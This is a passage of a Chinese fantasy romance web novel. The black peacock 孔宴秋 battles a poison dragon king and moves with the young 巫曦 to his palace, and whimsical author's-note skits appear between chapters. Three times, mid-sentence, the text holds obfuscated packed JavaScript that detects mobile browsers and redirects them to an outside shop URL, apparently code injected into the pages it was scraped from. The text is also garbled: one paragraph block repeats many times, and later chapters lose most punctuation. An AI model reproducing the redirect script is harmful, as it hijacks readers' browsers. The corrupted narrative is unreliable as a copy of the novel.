他愣住了,盯着手里的怪鸡看了半天:“是,是我? “是啊,就是你,巫曦索性全都交待了,“那时候你不是第一次掉下来嘛,我 把你拖回屋子救治。本来日子过得好好的,但是有天我带你出去透气,你就被讹兽抓走了。” 孔宴秋即刻恍然:“原来如此……” “我还以为你被它吃掉了呢,”巫曦指着自己的眼睛,“我窝在家里哭了好几天,饭都吃不下了,最后才雕了一个……这么个东西。” 孔宴秋的心又酸又软,像被泡进了太浓稠的蜜水里,挣扎都挣扎不出来,只能这么咕嘟嘟地沉下去,一直沉到永远。 望着鼓得跟个河豚一样的巫曦,他忽然说:“给我吧,这个。” “什么啊?” “你雕的孔雀啊,给我吧,我拿我雕的和你交换,好不好?” 巫曦诧异地扭头:“可是你雕的很漂亮啊,你看我这个,头不像头,屁股不像屁股的。” 孔宴秋忍不住笑容,确实,他手里的木头块还真像个胖鸡…… “啊!你笑了!”巫曦指着他的脸,仿佛发现了新大陆,“平时都很少见你笑的!” 说到这,他又阴险地尖笑几声,像恶霸一样去揉孔宴秋的脸:“你多笑笑,我就把木雕给你,否则……你也不想这么丑丑的自己让别人看见了吧,嗯?” “什么东西……”孔宴秋真是被他气笑了,两人正滚成一团,屋外天边,骤然传出一声尖锐的鸟鸣,犹如警报的哨响。 孔宴秋脸色一变,他迅速站起来,和巫曦上到雪地,往外一看—— 遥远的天际墨云滚滚,隐约可见电闪雷鸣,当中翻涌着无数细如丝线的毒龙,恰似一阵致命污毒的海啸大潮,冲这边狂卷而来。 作者有话要说 巫曦:*兴高采烈,雕刻木头*哦耶!我就是,天才小木匠! 孔宴秋:*看到那个丑丑的木雕,缓缓将自己完美无缺,精巧绝伦的木雕藏在身后,应和*啊,真是太好看了!*因为太爱巫曦了,所以这个评价并不算昧良心* 巫曦:*发现了孔宴秋完美得不得了的木雕,哭了*什么!我再也不是天才小木匠了!*很难过,立刻开始欺负孔宴秋* 孔宴秋:*很喜欢被欺负* 第 52 章 净琉璃之国(二十) 孔雀的锐利眼瞳倒映着天边的景象,在那些细小且毫无威胁的毒龙身后,他隐约瞧见一个耸入云端的巨影,犹如一颗过于逼近天幕的星球,将它怖恶的轮廓朝万事众生压迫而下。 俱时龙王,俱时德叉伽。 为了替它的大儿子复仇,它竟然亲自大驾光临了。 “进去,”孔宴秋急促地说,“进屋子,不要开门,维持好守生的阵法!” 巫曦还从未见他如此肃然凝重的模样,立刻抱着手里的木雕,飞快地跑进家门。 “我要关门了……”他靠着木门,惴惴不安地望着孔宴秋,“你不会有事的,对不对?” 肃穆的神色逐渐软化,对着他,孔宴秋微微一笑。 “放宽心,我是孔雀,能有什么事呢?听话,快把门关上。” 确认巫曦已经关紧房门,他再转头时,面上已经不带任何柔软的温情,森然如修罗恶鬼,杀意凄厉得令人窒息。 转瞬间,毒龙组成的海潮呼啸而至,它们没有强攻雪原上这间小得可怜的木屋,而是喷吐毒云,往平原上倾泻起瓢泼如注的漆黑毒雨! 黑雨坠落的第一时间,这片雪原上居住的妖兽便知大事不妙,急忙奋起逃窜,跑不及的,被雨滴沾上的地方即刻便化作腐烂的血水,凶毒之处可见一斑。 孔宴秋疾速展开翼,卷起一阵剧毒与冰雪的风暴,瞬时飞上苍穹云端。 在飞出去的那一刻,黑孔雀的形态便开始在他身上显现。泛着金虹色光彩的黑色覆羽从他苍白的皮肤下奇快无比地生长出来,遮蔽了他矫健的青年形体,他的双臂与羽翼合并,凸现出筋肉虬结的尺骨与桡骨…… 不出片刻,黑紫金三色的华艳孔雀于苍穹现身,三色神光同时拖曳出百里,将天边照得如同夜映朝霞,灿灿生辉。 他唯有茕茕孑立的一个影子,但面对千军万马也丝毫不惧,漫天行云布雨,兴风作浪的毒龙,却要在他面前惊惧地嘶叫,争先恐后地向后翻滚逃窜。 “俱时德叉伽,”黑孔雀口吐人言,暗金色的眼瞳中涌动着风雷般的清光,“你要来这里撒野?” 但被他点到名字的龙王没有出现,更不曾开口应和一声,唯有倾盆滂沱的黑色毒雨涛涛泻下,犹如末日时代,天幕塌陷时的洪水瀑布,朝下方飘摇如小舟的木屋浇灌下去。 毒雨将一片平原都冲刷成了漆黑的汪洋,似乎誓要淹没、击沉其间那叶可怜的小舟。 孔宴秋冷笑一声,振开万眼的尾翎,苍穹无极,三色神光猝然远逝,犹如擎天之 手的悍然一刷,伴随着创世雷霆的巨大轰鸣,朝不计其数的毒龙当头排下! 黑孔雀暴虐喑哑的啼鸣响彻天际,仅仅一击,便有上百头毒龙筋骨粉碎,脑浆迸裂,被残忍无情地刷下云端。 这就是开战的号角了。 犹如捕羊的猛虎,搏空的大鹰,这头年轻得过分的孔雀毫无保留,彰显出了绝强的暴力与铁腕。他仿若名刀组成的杀阵,刀光并非出鞘,而是旋转着狂舞,阵中妖魔连败退的机会都没有,只能粉身碎骨,转成飞散的血雨肉花。 对比声势浩大的毒龙,孔宴秋的身影便如一只燕子,灵敏地在龙潮中飞掠,三色神光亦随着折返波涌,来回冲刷着青空。而神光过后,便是数不尽的黑紫火炎,黑孔雀的全身都包裹在妖异的烈火之中,沸怒似流星,点燃了漫天肆虐的毒龙。 他撕碎了每一条能抓住的猎物,让无穷无尽的烈焰燃烧着它们的骨肉与神魂,毒龙惨烈的哀嚎几乎可以下到黄泉,上传碧落,但孔宴秋毫不怜悯,更不宽恕。 他投射在大地上的阴影便如浴火重生的凤凰,然而世上怎么会有这样的凤凰?——他抽出龙筋,掏烂龙脊,将毒龙的头骨碾作肉泥,仿佛那些只是盛着惨白豆腐的碎碗。 孔宴秋展现出的乖戾狠毒之态,更甚昔日屠戮龙巢的孔雀们百倍。金曜宫的孔雀杀进龙巢,无非是为了满足自己的口腹之欲,在这个生态链里,孔雀是猎人,毒龙是猎物,猎人宰杀猎物、食用猎物,勉强也算得上自然轮回的一环。 可在这一刻,孔宴秋是凌虐的杀手,毒龙则是被杀手碾碎的可怜虫。面对一头呼啸而过,横冲直闯的疯牛,脆弱的普通人要如何抉择?要么逃跑,要么惨死,没有折中的选项。 此时,毒龙沦为了“脆弱的普通人,至于孔宴秋呢,无需赘述,便是“横冲直闯的疯牛了。 “够了!苍穹之上传来雄浑的怒吼,亮起两点宛若紫色巨星的龙瞳。 眼见子嗣惨遭虐杀,俱时龙王终于无法再作壁上观。 它冲破流云,从天幕后俯低身躯,犹如一座巍峨的肉山,只是一颗龙首,便堪称巨硕无比。 在它面前,孔宴秋的真身确实像鸽子一般微小。 “俱时德叉伽,黑孔雀森森地半眯起眼睛,宛如微笑,“怎么,你不装了? “金曜宫的孽种!俱时龙王咆哮道,“我本与你无冤无仇,你杀了我最爱的孩儿,如今又屠杀了我如此之多的子孙!你不过区区一黄口小儿—— “我没有杀了‘你最爱的孩儿’, ”黑孔雀的笑声粗哑,“我是吃了‘你最爱的孩儿’。我想,这两者还是有一点区别的?” 俱时龙王被他气得浑身哆嗦,不过,它到底年岁深厚,老奸巨猾,更精于算计之道,很快按下怒火,转而冷笑道:“听闻金曜宫那群扁毛畜生迄今闭门不出,大荒又流传着变异黑孔雀的事迹,我还当是谁在以讹传讹,此时一见,方知传言不虚。你果真就是金曜宫明晃晃的罪证……” 孔宴秋的眼神冷了下去。 “你和毒龙之国的仇怨,我会一直记着的!”俱时龙王厉声道,“跟你的小神人暂且逍遥罢!别以为守生能护他一辈子,我迟早要将这间破屋子一口吞下,他又能在我腹中坚持多久?届时,等你把他救出去,只怕他早就活活在我的肠肚里饿成一摊烂肉了!” 不光龙有逆鳞,孔雀也不例外。孔宴秋对此的回应,是一口暴烈喷出的毒火。 五蕴阴火点燃了老龙王的下颚,使其发出一声惊怒交加的大吼,但它身边的龙子龙孙立刻舍生忘死地飞扑上去,纷纷咬下那部分燃烧的肉块,哪怕自己被烧得连连惨叫,亦是在所不辞。 很快,龙王就摆脱了阴火的桎梏,它的体型太过庞大,真正称得上皮糙肉厚。可以说它奈何不了孔宴秋,年轻的孔宴秋更奈何不了它。 “往后的岁月还长着呢,小孔雀……”俱时龙王阴恻恻地道,“我们走着瞧罢!” 它终究不敢赌那个概率,死守地底王国太久,它并不清楚如今大荒上发生的许多事,更没有摸清孔宴秋和金曜宫的关系。隐约听闻的流言蜚语,无法消除它对金曜宫的畏惧之情。 倘若金曜宫的孔雀再次倾巢而出,围剿自己的话…… 俱时龙王心中盘算,它知道,不能在这里僵持太久。 龙吟磅礴,漫天畏惧的毒龙像是得到了什么特赦令,急忙藏在龙王的龙鳞之下,忙不迭地逃出了这片横尸遍野的战场。 “尊主……”毒龙们走后,业摩宫的妖鸟才敢小心翼翼地落在他身后,大气不敢喘一声,“卑职已经差鸟雀探子跟随毒龙,相信不日便能打探出它们的老巢……” 孔宴秋大开杀戒时,几乎是敌我不分的攻击模式,是以业摩宫的大妖根本不敢插手他和毒龙的战争,生怕龙还没杀几条,自个儿先被主君烧死了。 “通知业摩宫,”孔宴秋恢复人身,盯着龙王离开的方向,面寒如铁,“我将不日启程,很快就会回去,让他们做好准备。” 凶禽心中俱是一惊,连忙道:“是!” 孔宴秋飞下地面 ,他用神光逼退雪原上的毒水,一落到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202977|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口,巫曦就仓皇地打开房门,脸色煞白地望着他。 “别,我身上都是龙血……” 他的话没说完,巫曦跳着扑到他身上,死死地抱紧了他。 “……脏。”孔宴秋无措地道,他的双手满是黑红的龙血,只能用爪尖局促地挠挠巫曦的后背,“脏得很。” “我只担心你会出事,”巫曦急促地说,“它们走了吗?” “走了,”孔宴秋说,“但恐怕还会再来。” 他揩干净手上的血,才稍稍摸了摸巫曦的头发,轻声说:“我们得搬家了。” “搬家?”巫曦一愣,眼睛又是一亮,“是啊,我们可以回长留!守生大阵覆盖国土全境,只要我们回长留,就可以……” 不等孔宴秋说什么,他的声音慢慢沉寂,神色同时黯淡了下去。 “……不,我们不能去长留。”巫曦低低地道,“我见罪于俱时龙王,捅了这么大的篓子,我父亲不会原谅我的,他也不会容忍我给长留的国民带去这么大的危险和隐患……” 他抬起头,茫然地望着孔宴秋,清澈的眼睛里含着那么多令人心碎的东西。 “我再也回不了家了,对吗?” 孔宴秋顿时顾不得一身的血污,紧紧地抱住了他。 长留算什么,毒龙又算什么?他冲动地脱口而出:“跟我走!从今往后,我在哪里,你就在哪里,你去哪里,我也要一直跟着你。我绝不会让你颠沛流离,一个人孤苦无依……” “跟我走。我们不要分开,好不好?” 巫曦抬起双眼,望着年轻而赤忱的孔雀,他没有犹豫,便用力地点头。 “好,我们不分开。”他破涕为笑,伸出小拇指,“拉勾?” 孔宴秋血迹淋漓的脸上,也露出微微的真挚笑容。 他伸出小拇指,与巫曦的指头交缠:“拉勾。” 他们收拾行李的速度很快。巫曦的衣服、木雕和解闷的小玩意儿全装进了奇珍柜,调料和厨具打成一个大包,床上的被褥可以不拿,但是枕头是睡惯了的,必须带上。 冰窖里剩余的蜂蜜、浆果、薯蓣和肉,孔宴秋都用芥子术存放起来,他们的油灯,小镜子,孔宴秋亲手做的桌椅和板凳一应收走……最终,他们将自己大半年来生活过的痕迹清扫一净,望着空荡荡的小木屋,巫曦的心情说不出的低落。 “我们还会回来吗?”他牵着孔宴秋的手,伤感地问。 这间木屋承载了非常特别的感情,在 他流落大荒的时候,是它接纳了他,给他一个安全的小小空间,一顶遮风挡雨的屋檐,而在孔宴秋出现之后,这间木屋则成为他们共同经营的小家。 巫曦从来没有明说,但每到夜晚,他们在屋里点起灯火,让那明亮生晕的火光照着他们的面庞,他心里都会缓缓地沁出一种喜滋滋的幸福甜味。 在这里睁眼醒来的每一个清晨,天空都是那么蓝,落雪洁白无瑕,当孔宴秋带着他飞上天空的时候,连风也变得柔软起来,好像可以就这样笑着走进任何事,原谅任何事。 “会的,一定会。”孔宴秋同样舍不得离开这里,看着他们的小家,他努力遮掩着情绪上的低落,“等这件事情解决,我们就住回来。” 抱着他,孔雀展开羽翼,飞向一望无际的晴空。 作者有话要说 【旧文解锁了!评论区发300个小红包庆祝……!】 孔宴秋:*撕碎毒龙,保护他们的家*吃我一击! 巫曦:*摇旗呐喊,加油鼓劲*哦耶!干得好! 还是孔宴秋:*在飞行时露出华丽的身材,包括胸肌和腹肌* 巫曦:*忽然变得口干舌燥,不得不用雪擦脸*嗯,嗯……奇怪,天气怎么变得这么热了? 毒龙:*没看见胸肌和腹肌,就被打死了,但是没有人在意*啊! 第 53 章 净琉璃之国(二十一) “所以,我们要去哪儿?”巫曦抬起头,忐忑地问, 孔宴秋低下头,他没有第一时间回答巫曦的问题,因为在心里,他比巫曦还要忐忑。 他害怕巫曦得知真相之后皱起眉头,用受欺骗的愤懑目光看着自己,也怕巫曦质问“你为什么要瞒着我”,他更怕巫曦因此生出异心,觉得是自己不信任他,因此才将业摩宫的秘密死死隐瞒,始终都不曾透露。 “所以,我们要去哪儿?”巫曦抬起头,忐忑地问, 孔宴秋低下头,他没有第一时间回答巫曦的问题,因为在心里,他比巫曦还要忐忑。 他害怕巫曦得知真相之后皱起眉头,用受欺骗的愤懑目光看着自己,也怕巫曦质问“你为什么要瞒着我”,他更怕巫曦因此生出异心,觉得是自己不信任他,因此才将业摩宫的秘密死死隐瞒,始终都不曾透露。 “所以,我们要去哪儿?”巫曦抬起头,忐忑地问, 孔宴秋低下头,他没有第一时间回答巫曦的问题,因为在心里,他比巫曦还要忐忑。 他害怕巫曦得知真相之后皱起眉头,用受欺骗的愤懑目光看着自己,也怕巫曦质问“你为什么要瞒着我”,他更怕巫曦因此生出异心,觉得是自己不信任他,因此才将业摩宫的秘密死死隐瞒,始终都不曾透露。 “所以,我们要去哪儿?”巫曦抬起头,忐忑地问, 孔宴秋低下头,他没有第一时间回答巫曦的问题,因为在心里,他比巫曦还要忐忑。 他害怕巫曦得知真相之后皱起眉头,用受欺骗的愤懑目光看着自己,也怕巫曦质问“你为什么要瞒着我”,他更怕巫曦因此生出异心,觉得是自己不信任他,因此才将业摩宫的秘密死死隐瞒,始终都不曾透露。 “所以,我们要去哪儿?”巫曦抬起头,忐忑地问, 孔宴秋低下头,他没有第一时间回答巫曦的问题,因为在心里,他比巫曦还要忐忑。 他害怕巫曦得知真相之后皱起眉头,用受欺骗的愤懑目光看着自己,也怕巫曦质问“你为什么要瞒着我”,他更怕巫曦因此生出异心,觉得是自己不信任他,因此才将业摩宫的秘密死死隐瞒,始终都不曾透露。 “所以,我们要去哪儿?”巫曦抬起头,忐忑地问, 孔宴秋低下头,他没有第一时间回答巫曦的问题,因为在心里,他比巫曦还要忐忑。 他害怕巫曦得知真相之后皱起眉头,用受欺骗的愤懑目光看着自己,也怕巫曦质问“你为什么要瞒着我”,他更怕巫曦因此生出异心,觉得是自己不信任他,因此才将业摩宫的秘密死死隐瞒,始终都不曾透露。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202978|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “所以,我们要去哪儿?”巫曦抬起头,忐忑地问, 孔宴秋低下头,他没有第一时间回答巫曦的问题,因为在心里,他比巫曦还要忐忑。 他害怕巫曦得知真相之后皱起眉头,用受欺骗的愤懑目光看着自己,也怕巫曦质问“你为什么要瞒着我”,他更怕巫曦因此生出异心,觉得是自己不信任他,因此才将业摩宫的秘密死死隐瞒,始终都不曾透露。 “所以,我们要去哪儿?”巫曦抬起头,忐忑地问, 孔宴秋低下头,他没有第一时间回答巫曦的问题,因为在心里,他比巫曦还要忐忑。 他害怕巫曦得知真相之后皱起眉头,用受欺骗的愤懑目光看着自己,也怕巫曦质问“你为什么要瞒着我”,他更怕巫曦因此生出异心,觉得是自己不信任他,因此才将业摩宫的秘密死死隐瞒,始终都不曾透露。 “所以,我们要去哪儿?”巫曦抬起头,忐忑地问, 孔宴秋低下头,他没有第一时间回答巫曦的问题,因为在心里,他比巫曦还要忐忑。 他害怕巫曦得知真相之后皱起眉头,用受欺骗的愤懑目光看着自己,也怕巫曦质问“你为什么要瞒着我”,他更怕巫曦因此生出异心,觉得是自己不信任他,因此才将业摩宫的秘密死死隐瞒,始终都不曾透露。 第 54 章 净琉璃之国(二十二) 第54章净琉璃之国(二十二) 翌日,孔宴秋尚且睡着。 他昨天晚上大哭一通伤神太过薄薄的眼皮此刻还红肿着巫曦已经先他一步醒来,睁开了眼睛。 他支起胳膊,观察了下熟睡中的孔雀,随即轻手轻脚地爬起来,赤着脚跑出寝殿。 “有人吗?”巫曦推开大门把头转向两边,“你们好,有人吗?” 听见他的声音,角落里几名年轻的侍从犹豫一番慢慢地走了出来。 他们裸露上身,手臂生着各色鸟羽,下半身也是鸟的爪子,腰间倒是围着披散的各色布裙。侍从们怯生生地围拢上前将好奇打量的眼神藏在躲闪的睫毛后面。 “我是巫曦!”巫曦直截了当地说“关于孔宴秋的宫殿,我需要改换毛毯的颜色还要颜色鲜亮的清漆,嗯……上面垂下来的那些纱也要换掉 他不像个初来乍到的客人,更像是在这里住了很久的主人,掰着手指,一口气数了一大串出来:“全部都要换。我不要颜色沉闷,样式老气的如果实在找不着合适的那你们就帮忙拿木材和凿刀来吧!我们可以自己做的。” 侍从们全惊住了不愿思考他说的“我们”究竟指的是谁。 良久一个侍从颤巍巍地说:“可是当时的陈设都是由诸位大人一手设计……” 他口中的“诸位大人”自然指的是类似蛊雕酸与鬿雀这样的族中大妖了。 巫曦奇怪地道:“嗯他们设计可是住在这儿的人也不是他们啊跟我说的又有什么关系呢?” 侍从们默然半晌你看我我看你。远方的偏殿一头大蛊雕栖在一根宽阔的横梁上冷眼望着主殿的动静。 “区区一介孱弱神人尚且没有具体的名分地位就敢把手插进宫中大言不惭地管起事来了。”他嗤笑道“真不知道那个混世魔星能容他到几时。” 身边传来振翅的声音另一头酸与飞落下来。 听见蛊雕的抱怨她微微一笑并没有说出“你给孱弱神人送件合心意的衣裳只要讨了他的喜欢混世魔星就能把你脖子上的狗链松一松”这样的秘事。说到底通天擢升的捷径还是越少人知道越好。 “由着他去罢”酸与轻描淡写避重就轻地说“瞧你的堂兄弟昨天可被结结实实地嵌到山岩里了抠出来怕是费了不 小的功夫吧?” 蛊雕咬紧牙关,出于一种说不清,道不明的直觉,他能感觉到,孔宴秋对于下属的喜好已经有了稍稍的偏向,并且这种偏向是不将他包括在内的。这立刻使他产生了浓烈的,即将被排除出业摩宫权力中心的焦躁之情。 “行,”蛊雕冷笑道,“由着他去,到时候可别麻烦宫侍,还得把神人烧成焦炭的残骸打扫起来。” 他们交谈的工夫,流水一样的家具摆设已然呈到了巫曦面前。 看得出来,孔宴秋平日里是如何凶名远扬的。寝殿前的空地已经摆得像一个热闹的菜市场,可所有侍从都静悄悄的,只要业摩宫的主人还没有走出来,他们就不敢发出一丝声音。 “没事的,不要拘束!”巫曦脸上带着活泼的笑容,“你今年多大啦?看起来跟我差不多嘛。” “我……我今年三百二十岁……” “哦哦,”巫曦挠挠头,“那你可比我大多了……啊这个不要留,这个留,这个送你了,拿去吧!” 他亲手挑选了深棕和米白的两种毛绒绒兽皮地毯,替换了原先精美阴郁的漆黑色刺绣地毯,还选了生长着茸茸可爱的青苔的白玉圆石作为摆件,再挑了温润玉石雕琢的全套桌椅,把凶兽盘踞的紫金香炉换成圆滚滚的狮子搓绣球样式。接着就是—— “枕头,”巫曦庄重严肃地说,“软枕头,大量软枕头,填充着毛毛的软枕头,里头塞着鸟羽的软枕头,立刻拿来,有多少要多少!” 外头叽叽喳喳的动静吵醒了孔宴秋。 他一觉醒来,没有在翅膀底下摸到巫曦,心脏顿时停跳了一拍,猛地振翅飞起来之后,听见庭院中的声音,推门一看,确认了巫曦还在外头,才松一口气。 “这是在干什么?”孔宴秋落到地上,眼圈还带着红,只是他一出声,刚才好不容易活泛起来的气氛立刻冻结了。 “在换里头的装修,”巫曦随口道,“怎么都停啦?继续继续!你也来看看我挑的毯子,怎么样?” 后一句是对孔宴秋说的,孔宴秋愣了一下,意识到他是想像改造木屋那样改造他们的居住环境,唇边就忍不住漾起了微小的笑意。 “好看。”他温声说,“你挑的都好看。” 旁边的妖鸟侍从瞥见这一幕,还从他嘴里听见这么一句软软和和的好话,眼珠子都要蹦到地下了。 昨夜彻底的情绪爆发,令孔宴秋在此刻感到疲惫。 不过,这种疲惫不是身体上的,而是心灵上的。但疲倦之余,他多少理解了巫曦的 “水桶论”将那些焦虑的担忧的淤堵的……种种不好的情绪发泄出去之后他的肩膀陡然便轻了许多又可以没有负担地上路了。 “是吧?”巫曦得意地瞧着自己选出来的家具“我还请他们帮忙拿了清漆一会儿你挑挑颜色咱们把墙的颜色改一改老是黑沉沉紫不拉几的像什么样子。” 业摩宫的鸟兽都沉默了。 什么“黑沉沉 说着巫曦的眼睛突然一亮急忙招手:“哎我看看这个!” 引起他注意的东西是一套十三枚的袖珍编钟。全套用剔透的紫玉雕琢而成上嵌金丝累珠贴着光艳动人的宝石花片底下是一支牙骨雕成的小槌委实巧夺天工惹人喜爱。 “好好好这个好!”他拍手道“就把这个摆在桌上当清供好看又好玩。” 他想了下问旁边的侍从:“哎说到清供这么多小玩意儿我怎么没见到吉祥果和俱缘果?请拿些上来让我们拣选一下。” 这两个词一出口在场的妖鸟俱是死一般的寂静从眼中透出惊惧之色。 远处酸与的嘴唇动了动与她一同旁观的鬿雀也默不作声唯独蛊雕幸灾乐祸地喃喃道:“哈这下好了。” 孔雀明王手持莲华俱缘果吉祥果身负五色孔雀尾此乃明王四宝。其中莲华代表敬爱俱缘果代表调伏吉祥果代表增益孔雀尾代表息灾。 而在这里金曜宫的一切都是绝对的禁忌象征了明王的俱缘果和吉祥果自然更是禁忌中的禁忌。 孔宴秋一声不吭冷眼盯着他们这副大气不敢喘的死样子内心简直不耐烦到极点。 他憎恨金曜宫听见麾下的妖鸟提及相关事宜肯定会神情不悦但他可没有因为“有鸟兽提及明王”这种小事就把谁烧成灰过现在做出这副受害的模样给谁看?告黑状是吧? “怎么啦?”巫曦不解地问跟他们比比划划“吉祥果就是石榴俱缘果就是木瓜啊。石榴!圆圆的深红色蛮多籽很好看……” “巫曦殿下”侍从低低地道鸟儿一多的地方情报也传递得飞快必然是他们中的哪个在昨天听到孔宴秋如此称呼巫曦是以今天便依葫芦画瓢“您说的这两样都是……都是金曜宫的孔雀……他们……” 巫曦明白了他们的意思表情渐渐认真起来。他平静地说:“别傻了。” “……什么?” “我说别傻了。”他坦然地道“哪有孔雀不爱这些的?因为金曜宫的孔雀在享用他们生来就喜欢的东西所以业摩宫的孔雀就一定要避之不及连提都不能提吗?世上怎么会有这么傻的事?” 见侍从呆愣巫曦催促道:“快啊去捡最大的石榴最香的木瓜我们要摆一个漂亮的果盘。” 侍从们觑着孔宴秋的神色然而黑孔雀什么都没说只是低下头目光温软地看着小神人他们立刻便领会了主君的意思急忙化形飞出成群结队地去找石榴和木瓜去了。 远处大蛊雕哑口无言一股惊悚的感觉席卷了他的心灵他只疑心自己是中了幻术或者还在梦里没有醒来。 酸与道:“嗯这下好啦。” 鬿雀忍着笑也道:“是啊这下好了。” 见他行云流水地指点挑选着配套的桌椅装饰孔宴秋不由好奇地道:“你好像对家装的事很熟练?” “是啊”巫曦说“之前在长留反正我父亲不管我随我怎么折腾布置宫殿 孔宴秋眉梢一挑觉得有点异样。 毋庸置疑“不闻不问”固然是一种忽视但“不管不问”当中却含着一点特别微妙又切实存在的纵容。孔宴秋担当上位者已久他非常了解这其中幽微难辨的差别。 “好了选的差不多了。”巫曦拍拍手“再麻烦你们一件事请你们帮忙把里头那张小床搬出来搬到……随便搬到哪但是不要在里头放着占地方好吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273828|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 孔宴秋长眉一扫:“还不快去。” 很快小床被抬了出来地毯帐幔原先的器具陈设也都搬了出来。要给墙面换颜色了孔宴秋犹豫一下选择棕红和浅黄色的清漆和巫曦相互系好围裙拿着刷子开始改造寝宫的暗色墙面。 忙碌了一个上午把墙刷了一半侍从们同时拉来了成车的石榴和木瓜正等在门口。木瓜馥郁芳香石榴饱满得快要绽开露出一隙艳红剔透的果色巫曦笑嘻嘻地剥开一颗熟甜石榴凑近了喂给孔宴秋吃。 涩意中带着一点恰到好处的酸更多蜜蜜的甜这还是孔宴秋第一次尝到“吉祥果”的味道真是非常清脆爽口。 “这个好”他啄食着石榴颗粒薄唇染得红红的对巫曦说“应该摆在巢边上想吃就可以拿。” 吃完石榴他们再拾出香味浓郁不易腐坏的木瓜品种摆在琉璃大果盘里委实既香甜又赏心悦目。 到了傍晚,巫曦干活累了,困得睁不开眼皮,孔宴秋便将他放在巢窝里,用羽绒盖好,让他慢慢睡着。自己仍然系着围裙,飞到顶上仔仔细细地刷墙。 没过一会儿,三两只大妖飞来寝宫,似乎是有要事禀报。 孔宴秋往下瞥了一眼,巫曦还在沉沉地熟睡,鬼车立刻讨好地飞上来,轻声细语地道:“尊主,您吩咐卑职探查的事,已有结果了。” 孔宴秋的声音也压得很低,他专注地盯着涂抹均匀的墙面,说的却不是同一件事。 “昨天那张床,是谁放进来的。” 鬼车噎了一下,脸色瞬时变得惊惶起来。 寒颤像惊雷一样滚过他的脊梁,鬼车的九首觳觫,下意识就想一叠声儿地呼喊“尊主饶命”,只是话到嘴边,他的眼神往下一瞟,扫见睡得香甜的巫曦,又生生咽了回去。 “……尊主恕罪,”鬼车越发细声细气,尽量不让他的声音传到底下,“那是卑职不成器的侄儿做的,他一心想要讨好小殿下,可是他实在太过蠢钝,没能摸清贵人的心思……卑职一定严加管教,再也不敢自作主张了。” 鬼车一族多眼多头,在业摩宫里,多半担任的也是看管监守的职务。 要搁在平时,纵使他的侄儿不死,孔宴秋也一定会把他这个做叔叔的烧个半死。不过,见他如此乖觉,加上昨晚巫曦说的那些话,孔宴秋多少收敛了一些酷烈戾气。 “下不为例。”他说,“都查到了什么?” 鬼车后背的羽毛全湿了,他赶紧呈上一枚黑色铜简,递在孔宴秋手中。 孔宴秋接过铜简,神识一扫,眉头便皱了起来。 “本来查这点小事,是要不了这么多时间的,可旁的不算什么,唯独长留的守生大阵甚是棘手,除非王族特许,但凡开了灵智的妖兽,都进入不得。好在只是进入打探消息,寻常小雀倒也能胜任。”鬼车解释道。 孔宴秋的手爪慢慢捏紧,将坚固瓷实的铜简,生生捏得扭曲变形。 “神人争夺权位的手段,没比妖族良善多少啊。”鬼车轻声说,“这件事,您要告诉小殿下吗?” “他会知道的,”孔宴秋沉声道,“但不是现在。让下面那群多嘴的鸟管好自己的舌头。” 鬼车喏喏退下了,孔宴秋抓着围裙,望向会在梦里露出甜甜笑靥的小神人,眉宇间显露踌躇之色。 要让他知道吗?为了争夺王位,是他的兄长算计了他,执意要将他置于死地——要让他知道吗? 理性上讲,孔宴秋当然要让他知道,这是巫曦应该明白的真相;可是感性上,孔宴秋宁肯隔绝外界的全部声音,也要把长留的一切事,无论那是好事还是坏事,从巫曦的生命中完全切开、分离。 他要断绝巫曦回家的任何可能,他要将他完全,彻底地攫在掌中,永不分离,永不割裂——这就是孔雀的强欲和贪念。 他松开手,铜简无声坠落,在空中开始燃烧,掉在地毯上的时候,已然滴成了一摊分不出原貌的流液。 作者有话要说 巫曦:*不知何故,突然犯傻,把石榴顶在头上*看啊,我是石榴王子! 还是巫曦:*把木瓜顶在孔宴秋头上*哈哈,你是木瓜孔雀!*快活地跳来跳去* 孔宴秋:*傻笑*嗯,木瓜孔雀会吃掉石榴王子。*张开嘴巴,开始吃* 巫曦:*大声哭*哎哟! 第 55 章 净琉璃之国(二十三) 第55章净琉璃之国(二十三) 大荒之上,年岁不分春秋冬夏。他们在业摩宫安顿下来,再过几个月,巫曦的十六岁生辰便到了。 他们很有默契,没有大办筵席,大肆庆贺,而是关起门来,私底下偷偷地庆祝。巫曦喜欢玩闹,孔宴秋就做了一个藤编秋千,安在吊顶上送给他,纵然厨艺不精,他还是给巫曦做了一碗长寿面,往上面笨手笨脚地堆满了各类珍稀食材,不管这是不是差点烧了厨房。 巫曦盯着这碗花团锦簇,五彩缤纷,小料肉菜堆成一座山的“长寿面 